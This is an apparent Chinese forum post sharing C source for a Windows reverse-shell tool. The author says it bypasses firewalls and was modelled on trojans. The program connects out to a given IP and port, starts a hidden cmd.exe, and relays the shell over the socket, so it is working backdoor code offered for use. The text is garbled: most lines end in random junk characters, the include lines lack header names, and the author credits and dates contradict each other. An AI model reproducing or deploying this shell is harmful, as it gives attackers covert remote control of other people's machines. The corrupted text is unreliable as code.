这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =%3nKSg
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/* ============================== ]ok>PH]
Rebound port in Windows NT
W6~=?C
By wind,2006/7 c;^ J!e
===============================*/ ^Toi_
#include R+K[/AA
#include #RF=a7&F
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#pragma comment(lib,"wsock32.lib") gy{a+Wbc*
<} %ir,8
void OutputShell(); B /W$RcV
SOCKET sClient; E(@;p%:
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; FMVmH!E
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void main(int argc,char **argv) qo@dFKy
{ /Uc*7Y5j
WSADATA stWsaData; |$PLZ,
int nRet; ng*%1;P
SOCKADDR_IN stSaiClient,stSaiServer; $ZS9CkN
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if(argc != 3) {#,FlR2
{ ju#63
printf("Useage:\n\rRebound DestIP DestPort\n"); RVfe}4Stm#
return; `y`xk<q
} L?0l1P
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WSAStartup(MAKEWORD(2,2),&stWsaData); />C~a]}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M2}<gRL*}J
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stSaiClient.sin_family = AF_INET; Nj0)/)<r+
stSaiClient.sin_port = htons(0); aJ8pJ{,P
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rg,63r
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]D%k)<YK
{ N-gRfra+8L
printf("Bind Socket Failed!\n"); 6<Z:Xw
return; [fp"MPP3
} blcKtrYg
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stSaiServer.sin_family = AF_INET; lQBM0|n
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~t={ \,X\
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {ZXC%(u
PoJ$%_a}
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $hSZ@w|IF
{ :,m)D775S
printf("Connect Error!"); BuTIJb+Q\
return; H|UL5<:]D
} %z~U@Mka
OutputShell(); ^d80\PXz
} :eW~nI.Vc
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void OutputShell()
#-T.@a1X
{ /BM1AV{s6
char szBuff[1024]; Nz*sD^SJa
SECURITY_ATTRIBUTES stSecurityAttributes; |Vi&f5p,@
OSVERSIONINFO stOsversionInfo; n#Roz5/U
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (:QQ7xc{}
STARTUPINFO stStartupInfo; n*Vd<m;w
char *szShell; +5[oY,^cO
PROCESS_INFORMATION stProcessInformation; -kbm$~P
unsigned long lBytesRead; }4SSo)Uv/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xXZKj
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |*KS<iHr%
stSecurityAttributes.lpSecurityDescriptor = 0; P]"deB|
stSecurityAttributes.bInheritHandle = TRUE; lGUV(D
oDP((I2-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); AwUc{h l<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \oX8/-0 f
R: <@+z^A[
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _-]!;0EIV
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *W12Rb2
stStartupInfo.wShowWindow = SW_HIDE; #}dVaXY)
stStartupInfo.hStdInput = hReadPipe; 6 1W/BU7O
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hG7S]\N_
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GetVersionEx(&stOsversionInfo); P0e ""9JOo
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switch(stOsversionInfo.dwPlatformId) ttaQlEa=Z
{ Q)`gPX3F
case 1: uxyTu2L7
szShell = "command.com"; H'{?aaK|t
break; [!@oRK=~
default: :z.Y$]F@
szShell = "cmd.exe"; drKjLo[y
break; 9xn23*Fo
} ceZ8}Sh
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T_?nd T2
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send(sClient,szMsg,77,0); HDVl5X`j'
while(1) fu<2t$Cn>
{ `E5"Pmg
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P5>5ps"iU
if(lBytesRead) `%M-7n9Y
{ !?o$-+a|
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^YR|WK Y
send(sClient,szBuff,lBytesRead,0); oD#>8Aw s
} kq~[k.
else rEyz|k:
{ ,LW+7yD
lBytesRead=recv(sClient,szBuff,1024,0); c5E#QV0&v~
if(lBytesRead<=0) break; [OZ=iz.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rN1U.FRe/
} -
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} ~sIGI?5f
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return;
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}